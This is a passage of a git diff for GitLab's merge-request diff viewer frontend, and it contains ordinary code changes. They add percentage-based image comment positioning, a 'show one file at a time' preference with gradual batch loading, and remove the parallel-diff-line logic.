diff --git a/app/assets/javascripts/diffs/components/image_diff_overlay.vue b/app/assets/javascripts/diffs/components/image_diff_overlay.vue
index 3956c2fab49..6a1e0d8cbd6 100644
--- a/app/assets/javascripts/diffs/components/image_diff_overlay.vue
+++ b/app/assets/javascripts/diffs/components/image_diff_overlay.vue
@@ -4,6 +4,10 @@ import { isArray } from 'lodash';
import imageDiffMixin from 'ee_else_ce/diffs/mixins/image_diff';
import { GlIcon } from '@gitlab/ui';
+function calcPercent(pos, size, renderedSize) {
+ return (((pos / size) * 100) / ((renderedSize / size) * 100)) * 100;
+}
+
export default {
name: 'ImageDiffOverlay',
components: {
@@ -39,6 +43,14 @@ export default {
required: false,
default: true,
},
+ renderedWidth: {
+ type: Number,
+ required: true,
+ },
+ renderedHeight: {
+ type: Number,
+ required: true,
+ },
},
computed: {
...mapGetters('diffs', ['getDiffFileByHash', 'getCommentFormForDiffFile']),
@@ -59,33 +71,33 @@ export default {
},
getPositionForObject(meta) {
const { x, y, width, height } = meta;
- const imageWidth = this.getImageDimensions().width;
- const imageHeight = this.getImageDimensions().height;
- const widthRatio = imageWidth / width;
- const heightRatio = imageHeight / height;
return {
- x: Math.round(x * widthRatio),
- y: Math.round(y * heightRatio),
+ x: (x / width) * 100,
+ y: (y / height) * 100,
};
},
getPosition(discussion) {
const { x, y } = this.getPositionForObject(discussion.position);
return {
- left: `${x}px`,
- top: `${y}px`,
+ left: `${x}%`,
+ top: `${y}%`,
};
},
clickedImage(x, y) {
const { width, height } = this.getImageDimensions();
+ const xPercent = calcPercent(x, width, this.renderedWidth);
+ const yPercent = calcPercent(y, height, this.renderedHeight);
this.openDiffFileCommentForm({
fileHash: this.fileHash,
width,
height,
- x,
- y,
+ x: width * (xPercent / 100),
+ y: height * (yPercent / 100),
+ xPercent,
+ yPercent,
});
},
},
@@ -112,22 +124,19 @@ export default {
type="button"
@click="clickedToggle(discussion)"
>
- <gl-icon v-if="showCommentIcon" name="image-comment-dark" />
+ <gl-icon v-if="showCommentIcon" name="image-comment-dark" :size="24" />
<template v-else>
{{ toggleText(discussion, index) }}
</template>
</button>
<button
- v-if="currentCommentForm"
- :style="{
- left: `${currentCommentForm.x}px`,
- top: `${currentCommentForm.y}px`,
- }"
+ v-if="canComment && currentCommentForm"
+ :style="{ left: `${currentCommentForm.xPercent}%`, top: `${currentCommentForm.yPercent}%` }"
:aria-label="__('Comment form position')"
- class="btn-transparent comment-indicator"
+ class="btn-transparent comment-indicator position-absolute"
type="button"
>
- <gl-icon name="image-comment-dark" />
+ <gl-icon name="image-comment-dark" :size="24" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/diffs/components/merge_conflict_warning.vue b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
index e47bea8e589..587efd6ed41 100644
--- a/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
+++ b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
@@ -1,5 +1,5 @@
<script>
-import { GlButton, GlAlert } from '@gitlab/ui';
+import { GlButton, GlAlert, GlModalDirective } from '@gitlab/ui';
import { CENTERED_LIMITED_CONTAINER_CLASSES } from '../constants';
export default {
@@ -7,6 +7,9 @@ export default {
GlAlert,
GlButton,
},
+ directives: {
+ GlModalDirective,
+ },
props: {
limited: {
type: Boolean,
@@ -60,9 +63,8 @@ export default {
</gl-button>
<gl-button
v-if="mergeable"
+ v-gl-modal-directive="'modal-merge-info'"
class="gl-alert-action"
- data-toggle="modal"
- data-target="#modal_merge_info"
>
{{ __('Merge locally') }}
</gl-button>
diff --git a/app/assets/javascripts/diffs/components/settings_dropdown.vue b/app/assets/javascripts/diffs/components/settings_dropdown.vue
index 78647065c8e..2fe2fd6b3d8 100644
--- a/app/assets/javascripts/diffs/components/settings_dropdown.vue
+++ b/app/assets/javascripts/diffs/components/settings_dropdown.vue
@@ -1,23 +1,22 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlButtonGroup, GlButton, GlDropdown } from '@gitlab/ui';
-import { __ } from '~/locale';
+import { GlButtonGroup, GlButton, GlDropdown, GlFormCheckbox } from '@gitlab/ui';
+
+import eventHub from '../event_hub';
+import { EVT_VIEW_FILE_BY_FILE } from '../constants';
+import { SETTINGS_DROPDOWN } from '../i18n';
export default {
+ i18n: SETTINGS_DROPDOWN,
components: {
GlButtonGroup,
GlButton,
GlDropdown,
+ GlFormCheckbox,
},
computed: {
...mapGetters('diffs', ['isInlineView', 'isParallelView']),
- ...mapState('diffs', ['renderTreeList', 'showWhitespace']),
- },
- mounted() {
- this.patchAriaLabel();
- },
- updated() {
- this.patchAriaLabel();
+ ...mapState('diffs', ['renderTreeList', 'showWhitespace', 'viewDiffsFileByFile']),
},
methods: {
...mapActions('diffs', [
@@ -26,17 +25,21 @@ export default {
'setRenderTreeList',
'setShowWhitespace',
]),
- patchAriaLabel() {
- this.$el
- .querySelector('.js-show-diff-settings')
- .setAttribute('aria-label', __('Diff view settings'));
+ toggleFileByFile() {
+ eventHub.$emit(EVT_VIEW_FILE_BY_FILE, { setting: !this.viewDiffsFileByFile });
},
},
};
</script>
<template>
- <gl-dropdown icon="settings" toggle-class="js-show-diff-settings" right>
+ <gl-dropdown
+ icon="settings"
+ :text="__('Diff view settings')"
+ :text-sr-only="true"
+ toggle-class="js-show-diff-settings"
+ right
+ >
<div class="gl-px-3">
<span class="gl-font-weight-bold gl-display-block gl-mb-2">{{ __('File browser') }}</span>
<gl-button-group class="gl-display-flex">
@@ -90,5 +93,15 @@ export default {
{{ __('Show whitespace changes') }}
</label>
</div>
+ <div class="gl-mt-3 gl-px-3">
+ <gl-form-checkbox
+ data-testid="file-by-file"
+ class="gl-mb-0"
+ :checked="viewDiffsFileByFile"
+ @input="toggleFileByFile"
+ >
+ {{ $options.i18n.fileByFile }}
+ </gl-form-checkbox>
+ </div>
</gl-dropdown>
</template>
diff --git a/app/assets/javascripts/diffs/constants.js b/app/assets/javascripts/diffs/constants.js
index 79f8c08e389..07e27bd8e47 100644
--- a/app/assets/javascripts/diffs/constants.js
+++ b/app/assets/javascripts/diffs/constants.js
@@ -77,6 +77,11 @@ export const ALERT_COLLAPSED_FILES = 'collapsed';
export const DIFF_FILE_AUTOMATIC_COLLAPSE = 'automatic';
export const DIFF_FILE_MANUAL_COLLAPSE = 'manual';
+// Diff view single file mode
+export const DIFF_FILE_BY_FILE_COOKIE_NAME = 'fileViewMode';
+export const DIFF_VIEW_FILE_BY_FILE = 'single';
+export const DIFF_VIEW_ALL_FILES = 'all';
+
// State machine states
export const STATE_IDLING = 'idle';
export const STATE_LOADING = 'loading';
@@ -98,6 +103,7 @@ export const RENAMED_DIFF_TRANSITIONS = {
// MR Diffs known events
export const EVT_EXPAND_ALL_FILES = 'mr:diffs:expandAllFiles';
+export const EVT_VIEW_FILE_BY_FILE = 'mr:diffs:preference:fileByFile';
export const EVT_PERF_MARK_FILE_TREE_START = 'mr:diffs:perf:fileTreeStart';
export const EVT_PERF_MARK_FILE_TREE_END = 'mr:diffs:perf:fileTreeEnd';
export const EVT_PERF_MARK_DIFF_FILES_START = 'mr:diffs:perf:filesStart';
diff --git a/app/assets/javascripts/diffs/diff_file.js b/app/assets/javascripts/diffs/diff_file.js
deleted file mode 100644
index a14a30b41a9..00000000000
--- a/app/assets/javascripts/diffs/diff_file.js
+++ /dev/null
@@ -1,61 +0,0 @@
-import {
- DIFF_FILE_SYMLINK_MODE,
- DIFF_FILE_DELETED_MODE,
- DIFF_FILE_MANUAL_COLLAPSE,
- DIFF_FILE_AUTOMATIC_COLLAPSE,
-} from './constants';
-
-function fileSymlinkInformation(file, fileList) {
- const duplicates = fileList.filter(iteratedFile => iteratedFile.file_hash === file.file_hash);
- const includesSymlink = duplicates.some(iteratedFile => {
- return [iteratedFile.a_mode, iteratedFile.b_mode].includes(DIFF_FILE_SYMLINK_MODE);
- });
- const brokenSymlinkScenario = duplicates.length > 1 && includesSymlink;
-
- return (
- brokenSymlinkScenario && {
- replaced: file.b_mode === DIFF_FILE_DELETED_MODE,
- wasSymbolic: file.a_mode === DIFF_FILE_SYMLINK_MODE,
- isSymbolic: file.b_mode === DIFF_FILE_SYMLINK_MODE,
- wasReal: ![DIFF_FILE_SYMLINK_MODE, DIFF_FILE_DELETED_MODE].includes(file.a_mode),
- isReal: ![DIFF_FILE_SYMLINK_MODE, DIFF_FILE_DELETED_MODE].includes(file.b_mode),
- }
- );
-}
-
-function collapsed(file) {
- const viewer = file.viewer || {};
-
- return {
- automaticallyCollapsed: viewer.automaticallyCollapsed || viewer.collapsed || false,
- manuallyCollapsed: null,
- };
-}
-
-export function prepareRawDiffFile({ file, allFiles }) {
- Object.assign(file, {
- brokenSymlink: fileSymlinkInformation(file, allFiles),
- viewer: {
- ...file.viewer,
- ...collapsed(file),
- },
- });
-
- return file;
-}
-
-export function collapsedType(file) {
- const isManual = typeof file.viewer?.manuallyCollapsed === 'boolean';
-
- return isManual ? DIFF_FILE_MANUAL_COLLAPSE : DIFF_FILE_AUTOMATIC_COLLAPSE;
-}
-
-export function isCollapsed(file) {
- const type = collapsedType(file);
- const collapsedStates = {
- [DIFF_FILE_AUTOMATIC_COLLAPSE]: file.viewer?.automaticallyCollapsed || false,
- [DIFF_FILE_MANUAL_COLLAPSE]: file.viewer?.manuallyCollapsed,
- };
-
- return collapsedStates[type];
-}
diff --git a/app/assets/javascripts/diffs/i18n.js b/app/assets/javascripts/diffs/i18n.js
index 4ec24d452bf..c4ac99ead91 100644
--- a/app/assets/javascripts/diffs/i18n.js
+++ b/app/assets/javascripts/diffs/i18n.js
@@ -16,3 +16,7 @@ export const DIFF_FILE = {
autoCollapsed: __('Files with large changes are collapsed by default.'),
expand: __('Expand file'),
};
+
+export const SETTINGS_DROPDOWN = {
+ fileByFile: __('Show one file at a time'),
+};
diff --git a/app/assets/javascripts/diffs/index.js b/app/assets/javascripts/diffs/index.js
index 06a138b1e13..587220488be 100644
--- a/app/assets/javascripts/diffs/index.js
+++ b/app/assets/javascripts/diffs/index.js
@@ -116,7 +116,7 @@ export default function initDiffsApp(store) {
isFluidLayout: this.isFluidLayout,
dismissEndpoint: this.dismissEndpoint,
showSuggestPopover: this.showSuggestPopover,
- viewDiffsFileByFile: this.viewDiffsFileByFile,
+ fileByFileUserPreference: this.viewDiffsFileByFile,
},
});
},
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index 91c4c51487f..5b410051705 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -30,13 +30,11 @@ import {
OLD_LINE_KEY,
NEW_LINE_KEY,
TYPE_KEY,
- LEFT_LINE_KEY,
MAX_RENDERING_DIFF_LINES,
MAX_RENDERING_BULK_ROWS,
MIN_RENDERING_MS,
START_RENDERING_INDEX,
INLINE_DIFF_LINES_KEY,
- PARALLEL_DIFF_LINES_KEY,
DIFFS_PER_PAGE,
DIFF_WHITESPACE_COOKIE_NAME,
SHOW_WHITESPACE,
@@ -46,9 +44,12 @@ import {
EVT_PERF_MARK_FILE_TREE_START,
EVT_PERF_MARK_FILE_TREE_END,
EVT_PERF_MARK_DIFF_FILES_START,
+ DIFF_VIEW_FILE_BY_FILE,
+ DIFF_VIEW_ALL_FILES,
+ DIFF_FILE_BY_FILE_COOKIE_NAME,
} from '../constants';
import { diffViewerModes } from '~/ide/constants';
-import { isCollapsed } from '../diff_file';
+import { isCollapsed } from '../utils/diff_file';
export const setBaseConfig = ({ commit }, options) => {
const {
@@ -59,6 +60,7 @@ export const setBaseConfig = ({ commit }, options) => {
projectPath,
dismissEndpoint,
showSuggestPopover,
+ viewDiffsFileByFile,
} = options;
commit(types.SET_BASE_CONFIG, {
endpoint,
@@ -68,26 +70,38 @@ export const setBaseConfig = ({ commit }, options) => {
projectPath,
dismissEndpoint,
showSuggestPopover,
+ viewDiffsFileByFile,
});
};
export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
+ const diffsGradualLoad = window.gon?.features?.diffsGradualLoad;
+ let perPage = DIFFS_PER_PAGE;
+ let increaseAmount = 1.4;
+
+ if (diffsGradualLoad) {
+ perPage = state.viewDiffsFileByFile ? 1 : 5;
+ }
+
+ const startPage = diffsGradualLoad ? 0 : 1;
const id = window?.location?.hash;
const isNoteLink = id.indexOf('#note') === 0;
const urlParams = {
- per_page: DIFFS_PER_PAGE,
w: state.showWhitespace ? '0' : '1',
- view: window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType,
+ view: 'inline',
};
+ let totalLoaded = 0;
commit(types.SET_BATCH_LOADING, true);
commit(types.SET_RETRIEVING_BATCHES, true);
eventHub.$emit(EVT_PERF_MARK_DIFF_FILES_START);
- const getBatch = (page = 1) =>
+ const getBatch = (page = startPage) =>
axios
- .get(mergeUrlParams({ ...urlParams, page }, state.endpointBatch))
+ .get(mergeUrlParams({ ...urlParams, page, per_page: perPage }, state.endpointBatch))
.then(({ data: { pagination, diff_files } }) => {
+ totalLoaded += diff_files.length;
+
commit(types.SET_DIFF_DATA_BATCH, { diff_files });
commit(types.SET_BATCH_LOADING, false);
@@ -99,7 +113,11 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
dispatch('setCurrentDiffFileIdFromNote', id.split('_').pop());
}
- if (!pagination.next_page) {
+ if (
+ (diffsGradualLoad &&
+ (totalLoaded === pagination.total_pages || pagination.total_pages === null)) ||
+ (!diffsGradualLoad && !pagination.next_page)
+ ) {
commit(types.SET_RETRIEVING_BATCHES, false);
// We need to check that the currentDiffFileId points to a file that exists
@@ -125,6 +143,16 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
}),
);
}
+
+ return null;
+ }
+
+ if (diffsGradualLoad) {
+ const nextPage = page + perPage;
+ perPage = Math.min(Math.ceil(perPage * increaseAmount), 30);
+ increaseAmount = Math.min(increaseAmount + 0.2, 2);
+
+ return nextPage;
}
return pagination.next_page;
@@ -140,7 +168,7 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
export const fetchDiffFilesMeta = ({ commit, state }) => {
const worker = new TreeWorker();
const urlParams = {
- view: window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType,
+ view: 'inline',
};
commit(types.SET_LOADING, true);
@@ -157,13 +185,19 @@ export const fetchDiffFilesMeta = ({ commit, state }) => {
.get(mergeUrlParams(urlParams, state.endpointMetadata))
.then(({ data }) => {
const strippedData = { ...data };
-
delete strippedData.diff_files;
+
commit(types.SET_LOADING, false);
commit(types.SET_MERGE_REQUEST_DIFFS, data.merge_request_diffs || []);
- commit(types.SET_DIFF_DATA, strippedData);
+ commit(types.SET_DIFF_METADATA, strippedData);
- worker.postMessage(prepareDiffData(data, state.diffFiles));
+ worker.postMessage(
+ prepareDiffData({
+ diff: data,
+ priorFiles: state.diffFiles,
+ meta: true,
+ }),
+ );
return data;
})
@@ -401,15 +435,10 @@ export const toggleFileDiscussions = ({ getters, dispatch }, diff) => {
export const toggleFileDiscussionWrappers = ({ commit }, diff) => {
const discussionWrappersExpanded = allDiscussionWrappersExpanded(diff);
const lineCodesWithDiscussions = new Set();
- const { parallel_diff_lines: parallelLines, highlighted_diff_lines: inlineLines } = diff;
- const allLines = inlineLines.concat(
- parallelLines.map(line => line.left),
- parallelLines.map(line => line.right),
- );
const lineHasDiscussion = line => Boolean(line?.discussions.length);
const registerDiscussionLine = line => lineCodesWithDiscussions.add(line.line_code);
- allLines.filter(lineHasDiscussion).forEach(registerDiscussionLine);
+ diff[INLINE_DIFF_LINES_KEY].filter(lineHasDiscussion).forEach(registerDiscussionLine);
if (lineCodesWithDiscussions.size) {
Array.from(lineCodesWithDiscussions).forEach(lineCode => {
@@ -454,11 +483,11 @@ export const scrollToFile = ({ state, commit }, path) => {
commit(types.VIEW_DIFF_FILE, fileHash);
};
-export const toggleShowTreeList = ({ commit, state }, saving = true) => {
- commit(types.TOGGLE_SHOW_TREE_LIST);
+export const setShowTreeList = ({ commit }, { showTreeList, saving = true }) => {
+ commit(types.SET_SHOW_TREE_LIST, showTreeList);
if (saving) {
- localStorage.setItem(MR_TREE_SHOW_KEY, state.showTreeList);
+ localStorage.setItem(MR_TREE_SHOW_KEY, showTreeList);
}
};
@@ -508,61 +537,26 @@ export const receiveFullDiffError = ({ commit }, filePath) => {
createFlash(s__('MergeRequest|Error loading full diff. Please try again.'));
};
-export const setExpandedDiffLines = ({ commit, state }, { file, data }) => {
- const expandedDiffLines = {
- highlighted_diff_lines: convertExpandLines({
- diffLines: file.highlighted_diff_lines,
- typeKey: TYPE_KEY,
- oldLineKey: OLD_LINE_KEY,
- newLineKey: NEW_LINE_KEY,
- data,
- mapLine: ({ line, oldLine, newLine }) =>
- Object.assign(line, {
- old_line: oldLine,
- new_line: newLine,
- line_code: `${file.file_hash}_${oldLine}_${newLine}`,
- }),
- }),
- parallel_diff_lines: convertExpandLines({
- diffLines: file.parallel_diff_lines,
- typeKey: [LEFT_LINE_KEY, TYPE_KEY],
- oldLineKey: [LEFT_LINE_KEY, OLD_LINE_KEY],
- newLineKey: [LEFT_LINE_KEY, NEW_LINE_KEY],
- data,
- mapLine: ({ line, oldLine, newLine }) => ({
- left: {
- ...line,
- old_line: oldLine,
- line_code: `${file.file_hash}_${oldLine}_${newLine}`,
- },
- right: {
- ...line,
- new_line: newLine,
- line_code: `${file.file_hash}_${newLine}_${oldLine}`,
- },
+export const setExpandedDiffLines = ({ commit }, { file, data }) => {
+ const expandedDiffLines = convertExpandLines({
+ diffLines: file[INLINE_DIFF_LINES_KEY],
+ typeKey: TYPE_KEY,
+ oldLineKey: OLD_LINE_KEY,
+ newLineKey: NEW_LINE_KEY,
+ data,
+ mapLine: ({ line, oldLine, newLine }) =>
+ Object.assign(line, {
+ old_line: oldLine,
+ new_line: newLine,
+ line_code: `${file.file_hash}_${oldLine}_${newLine}`,
}),
- }),
- };
- const unifiedDiffLinesEnabled = window.gon?.features?.unifiedDiffLines;
- const currentDiffLinesKey =
- state.diffViewType === INLINE_DIFF_VIEW_TYPE || unifiedDiffLinesEnabled
- ? INLINE_DIFF_LINES_KEY
- : PARALLEL_DIFF_LINES_KEY;
- const hiddenDiffLinesKey =
- state.diffViewType === INLINE_DIFF_VIEW_TYPE ? PARALLEL_DIFF_LINES_KEY : INLINE_DIFF_LINES_KEY;
-
- if (!unifiedDiffLinesEnabled) {
- commit(types.SET_HIDDEN_VIEW_DIFF_FILE_LINES, {
- filePath: file.file_path,
- lines: expandedDiffLines[hiddenDiffLinesKey],
- });
- }
+ });
- if (expandedDiffLines[currentDiffLinesKey].length > MAX_RENDERING_DIFF_LINES) {
+ if (expandedDiffLines.length > MAX_RENDERING_DIFF_LINES) {
let index = START_RENDERING_INDEX;
commit(types.SET_CURRENT_VIEW_DIFF_FILE_LINES, {
filePath: file.file_path,
- lines: expandedDiffLines[currentDiffLinesKey].slice(0, index),
+ lines: expandedDiffLines.slice(0, index),
});
commit(types.TOGGLE_DIFF_FILE_RENDERING_MORE, file.file_path);
@@ -571,10 +565,10 @@ export const setExpandedDiffLines = ({ commit, state }, { file, data }) => {
while (
t.timeRemaining() >= MIN_RENDERING_MS &&
- index !== expandedDiffLines[currentDiffLinesKey].length &&
+ index !== expandedDiffLines.length &&
index - startIndex !== MAX_RENDERING_BULK_ROWS
) {
- const line = expandedDiffLines[currentDiffLinesKey][index];
+ const line = expandedDiffLines[index];
if (line) {
commit(types.ADD_CURRENT_VIEW_DIFF_FILE_LINES, { filePath: file.file_path, line });
@@ -582,7 +576,7 @@ export const setExpandedDiffLines = ({ commit, state }, { file, data }) => {
}
}
- if (index !== expandedDiffLines[currentDiffLinesKey].length) {
+ if (index !== expandedDiffLines.length) {
idleCallback(idleCb);
} else {
commit(types.TOGGLE_DIFF_FILE_RENDERING_MORE, file.file_path);
@@ -593,7 +587,7 @@ export const setExpandedDiffLines = ({ commit, state }, { file, data }) => {
} else {
commit(types.SET_CURRENT_VIEW_DIFF_FILE_LINES, {
filePath: file.file_path,
- lines: expandedDiffLines[currentDiffLinesKey],
+ lines: expandedDiffLines,
});
}
};
@@ -627,7 +621,7 @@ export const toggleFullDiff = ({ dispatch, commit, getters, state }, filePath) =
}
};
-export function switchToFullDiffFromRenamedFile({ commit, dispatch, state }, { diffFile }) {
+export function switchToFullDiffFromRenamedFile({ commit, dispatch }, { diffFile }) {
return axios
.get(diffFile.context_lines_path, {
params: {
@@ -638,7 +632,7 @@ export function switchToFullDiffFromRenamedFile({ commit, dispatch, state }, { d
.then(({ data }) => {
const lines = data.map((line, index) =>
prepareLineForRenamedFile({
- diffViewType: window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType,
+ diffViewType: 'inline',
line,
diffFile,
index,
@@ -736,3 +730,14 @@ export const navigateToDiffFileIndex = ({ commit, state }, index) => {
commit(types.VIEW_DIFF_FILE, fileHash);
};
+
+export const setFileByFile = ({ commit }, { fileByFile }) => {
+ const fileViewMode = fileByFile ? DIFF_VIEW_FILE_BY_FILE : DIFF_VIEW_ALL_FILES;
+ commit(types.SET_FILE_BY_FILE, fileByFile);
+
+ Cookies.set(DIFF_FILE_BY_FILE_COOKIE_NAME, fileViewMode);
+
+ historyPushState(
+ mergeUrlParams({ [DIFF_FILE_BY_FILE_COOKIE_NAME]: fileViewMode }, window.location.href),
+ );
+};
diff --git a/app/assets/javascripts/diffs/store/getters.js b/app/assets/javascripts/diffs/store/getters.js
index 9ee73998177..baf54188932 100644
--- a/app/assets/javascripts/diffs/store/getters.js
+++ b/app/assets/javascripts/diffs/store/getters.js
@@ -1,6 +1,10 @@
import { __, n__ } from '~/locale';
import { parallelizeDiffLines } from './utils';
-import { PARALLEL_DIFF_VIEW_TYPE, INLINE_DIFF_VIEW_TYPE } from '../constants';
+import {
+ PARALLEL_DIFF_VIEW_TYPE,
+ INLINE_DIFF_VIEW_TYPE,
+ INLINE_DIFF_LINES_KEY,
+} from '../constants';
export * from './getters_versions_dropdowns';
@@ -54,24 +58,10 @@ export const diffHasAllCollapsedDiscussions = (state, getters) => diff => {
* @param {Object} diff
* @returns {Boolean}
*/
-export const diffHasExpandedDiscussions = state => diff => {
- const lines = {
- [INLINE_DIFF_VIEW_TYPE]: diff.highlighted_diff_lines || [],
- [PARALLEL_DIFF_VIEW_TYPE]: (diff.parallel_diff_lines || []).reduce((acc, line) => {
- if (line.left) {
- acc.push(line.left);
- }
-
- if (line.right) {
- acc.push(line.right);
- }
-
- return acc;
- }, []),
- };
- return lines[window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType]
- .filter(l => l.discussions.length >= 1)
- .some(l => l.discussionsExpanded);
+export const diffHasExpandedDiscussions = () => diff => {
+ return diff[INLINE_DIFF_LINES_KEY].filter(l => l.discussions.length >= 1).some(
+ l => l.discussionsExpanded,
+ );
};
/**
@@ -79,24 +69,8 @@ export const diffHasExpandedDiscussions = state => diff => {
* @param {Boolean} diff
* @returns {Boolean}
*/
-export const diffHasDiscussions = state => diff => {
- const lines = {
- [INLINE_DIFF_VIEW_TYPE]: diff.highlighted_diff_lines || [],
- [PARALLEL_DIFF_VIEW_TYPE]: (diff.parallel_diff_lines || []).reduce((acc, line) => {
- if (line.left) {
- acc.push(line.left);
- }
-
- if (line.right) {
- acc.push(line.right);
- }
-
- return acc;
- }, []),
- };
- return lines[window.gon?.features?.unifiedDiffLines ? 'inline' : state.diffViewType].some(
- l => l.discussions.length >= 1,
- );
+export const diffHasDiscussions = () => diff => {
+ return diff[INLINE_DIFF_LINES_KEY].some(l => l.discussions.length >= 1);
};
/**
diff --git a/app/assets/javascripts/diffs/store/modules/diff_state.js b/app/assets/javascripts/diffs/store/modules/diff_state.js
index 001d9d9f594..c331e52c887 100644
--- a/app/assets/javascripts/diffs/store/modules/diff_state.js
+++ b/app/assets/javascripts/diffs/store/modules/diff_state.js
@@ -5,6 +5,8 @@ import {
DIFF_VIEW_COOKIE_NAME,
DIFF_WHITESPACE_COOKIE_NAME,
} from '../../constants';
+
+import { fileByFile } from '../../utils/preferences';
import { getDefaultWhitespace } from '../utils';
const viewTypeFromQueryString = getParameterValues('view')[0];
@@ -39,6 +41,7 @@ export default () => ({
highlightedRow: null,
renderTreeList: true,
showWhitespace: getDefaultWhitespace(whiteSpaceFromQueryString, whiteSpaceFromCookie),
+ viewDiffsFileByFile: fileByFile(),
fileFinderVisible: false,
dismissEndpoint: '',
showSuggestPopover: true,
diff --git a/app/assets/javascripts/diffs/store/mutation_types.js b/app/assets/javascripts/diffs/store/mutation_types.js
index 19a9e65edc9..30097239aaa 100644
--- a/app/assets/javascripts/diffs/store/mutation_types.js
+++ b/app/assets/javascripts/diffs/store/mutation_types.js
@@ -3,7 +3,7 @@ export const SET_LOADING = 'SET_LOADING';
export const SET_BATCH_LOADING = 'SET_BATCH_LOADING';
export const SET_RETRIEVING_BATCHES = 'SET_RETRIEVING_BATCHES';
-export const SET_DIFF_DATA = 'SET_DIFF_DATA';
+export const SET_DIFF_METADATA = 'SET_DIFF_METADATA';
export const SET_DIFF_DATA_BATCH = 'SET_DIFF_DATA_BATCH';
export const SET_DIFF_FILES = 'SET_DIFF_FILES';
@@ -17,7 +17,7 @@ export const RENDER_FILE = 'RENDER_FILE';
export const SET_LINE_DISCUSSIONS_FOR_FILE = 'SET_LINE_DISCUSSIONS_FOR_FILE';
export const REMOVE_LINE_DISCUSSIONS_FOR_FILE = 'REMOVE_LINE_DISCUSSIONS_FOR_FILE';
export const TOGGLE_FOLDER_OPEN = 'TOGGLE_FOLDER_OPEN';
-export const TOGGLE_SHOW_TREE_LIST = 'TOGGLE_SHOW_TREE_LIST';
+export const SET_SHOW_TREE_LIST = 'SET_SHOW_TREE_LIST';
export const VIEW_DIFF_FILE = 'VIEW_DIFF_FILE';
export const OPEN_DIFF_FILE_COMMENT_FORM = 'OPEN_DIFF_FILE_COMMENT_FORM';
@@ -28,6 +28,7 @@ export const SET_HIGHLIGHTED_ROW = 'SET_HIGHLIGHTED_ROW';
export const SET_TREE_DATA = 'SET_TREE_DATA';
export const SET_RENDER_TREE_LIST = 'SET_RENDER_TREE_LIST';
export const SET_SHOW_WHITESPACE = 'SET_SHOW_WHITESPACE';
+export const SET_FILE_BY_FILE = 'SET_FILE_BY_FILE';
export const TOGGLE_FILE_FINDER_VISIBLE = 'TOGGLE_FILE_FINDER_VISIBLE';
export const REQUEST_FULL_DIFF = 'REQUEST_FULL_DIFF';
@@ -35,7 +36,6 @@ export const RECEIVE_FULL_DIFF_SUCCESS = 'RECEIVE_FULL_DIFF_SUCCESS';
export const RECEIVE_FULL_DIFF_ERROR = 'RECEIVE_FULL_DIFF_ERROR';
export const SET_FILE_COLLAPSED = 'SET_FILE_COLLAPSED';
-export const SET_HIDDEN_VIEW_DIFF_FILE_LINES = 'SET_HIDDEN_VIEW_DIFF_FILE_LINES';
export const SET_CURRENT_VIEW_DIFF_FILE_LINES = 'SET_CURRENT_VIEW_DIFF_FILE_LINES';
export const ADD_CURRENT_VIEW_DIFF_FILE_LINES = 'ADD_CURRENT_VIEW_DIFF_FILE_LINES';
export const TOGGLE_DIFF_FILE_RENDERING_MORE = 'TOGGLE_DIFF_FILE_RENDERING_MORE';
diff --git a/app/assets/javascripts/diffs/store/mutations.js b/app/assets/javascripts/diffs/store/mutations.js
index 096c4f69439..19122c3096f 100644
--- a/app/assets/javascripts/diffs/store/mutations.js
+++ b/app/assets/javascripts/diffs/store/mutations.js
@@ -1,11 +1,6 @@
import Vue from 'vue';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import {
- DIFF_FILE_MANUAL_COLLAPSE,
- DIFF_FILE_AUTOMATIC_COLLAPSE,
- INLINE_DIFF_VIEW_TYPE,
-} from '../constants';
-import {
findDiffFile,
addLineReferences,
removeMatchLine,
@@ -14,6 +9,11 @@ import {
isDiscussionApplicableToLine,
updateLineInFile,
} from './utils';
+import {
+ DIFF_FILE_MANUAL_COLLAPSE,
+ DIFF_FILE_AUTOMATIC_COLLAPSE,
+ INLINE_DIFF_LINES_KEY,
+} from '../constants';
import * as types from './mutation_types';
function updateDiffFilesInState(state, files) {
@@ -36,6 +36,7 @@ export default {
projectPath,
dismissEndpoint,
showSuggestPopover,
+ viewDiffsFileByFile,
} = options;
Object.assign(state, {
endpoint,
@@ -45,6 +46,7 @@ export default {
projectPath,
dismissEndpoint,
showSuggestPopover,
+ viewDiffsFileByFile,
});
},
@@ -64,21 +66,17 @@ export default {
updateDiffFilesInState(state, files);
},
- [types.SET_DIFF_DATA](state, data) {
- let files = state.diffFiles;
-
- if (window.location.search.indexOf('diff_id') !== -1 && data.diff_files) {
- files = prepareDiffData(data, files);
- }
-
+ [types.SET_DIFF_METADATA](state, data) {
Object.assign(state, {
...convertObjectPropsToCamelCase(data),
});
- updateDiffFilesInState(state, files);
},
[types.SET_DIFF_DATA_BATCH](state, data) {
- const files = prepareDiffData(data, state.diffFiles);
+ const files = prepareDiffData({
+ diff: data,
+ priorFiles: state.diffFiles,
+ });
Object.assign(state, {
...convertObjectPropsToCamelCase(data),
@@ -109,25 +107,7 @@ export default {
if (!diffFile) return;
- if (diffFile.highlighted_diff_lines.length) {
- diffFile.highlighted_diff_lines.find(l => l.line_code === lineCode).hasForm = hasForm;
- }
-
- if (diffFile.parallel_diff_lines.length) {
- const line = diffFile.parallel_diff_lines.find(l => {
- const { left, right } = l;
-
- return (left && left.line_code === lineCode) || (right && right.line_code === lineCode);
- });
-
- if (line.left && line.left.line_code === lineCode) {
- line.left.hasForm = hasForm;
- }
-
- if (line.right && line.right.line_code === lineCode) {
- line.right.hasForm = hasForm;
- }
- }
